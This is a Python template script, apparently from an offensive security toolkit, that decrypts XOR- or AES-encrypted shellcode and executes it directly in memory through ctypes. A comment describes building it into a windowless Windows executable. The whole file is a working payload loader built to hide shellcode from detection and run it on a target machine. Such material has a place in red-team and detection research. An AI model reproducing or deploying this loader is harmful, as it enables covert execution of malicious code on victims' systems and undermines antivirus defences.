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encryptedShellcodeWrapper.py
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60 lines (50 loc) · 2.03 KB
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#!/usr/bin/python
# -*- coding: utf8 -*-
# Author: Arno0x0x, Twitter: @Arno0x0x
#
# You can create a windows executable: pyinstaller --onefile --noconsole multibyteEncodedShellcode.py
from Crypto.Cipher import AES
from ctypes import *
import base64
#======================================================================================================
# CRYPTO FUNCTIONS
#======================================================================================================
#------------------------------------------------------------------------
# data as a bytearray
# key as a string
def xor(data, key):
l = len(key)
keyAsInt = map(ord, key)
return bytes(bytearray((
(data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
)))
#------------------------------------------------------------------------
def unpad(s):
"""PKCS7 padding removal"""
return s[:-ord(s[len(s)-1:])]
#------------------------------------------------------------------------
def aesDecrypt(cipherText, key):
"""Decrypt data with the provided key"""
# Initialization Vector is in the first 16 bytes
iv = cipherText[:AES.block_size]
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(cipherText[AES.block_size:]))
#======================================================================================================
# MAIN FUNCTION
#======================================================================================================
if __name__ == '__main__':
encryptedShellcode = ("${shellcode}")
key = "${key}"
cipherType = "${cipherType}"
# Decrypt the shellcode
if cipherType == 'xor':
shellcode = xor(bytearray(encryptedShellcode), key)
elif cipherType == 'aes':
key = base64.b64decode(key)
shellcode = aesDecrypt(encryptedShellcode, key)
else:
print "[ERROR] Unknown cipher type"
# Copy the shellcode to memory and invoke it
memory_with_shell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memory_with_shell,CFUNCTYPE(c_void_p))
shell()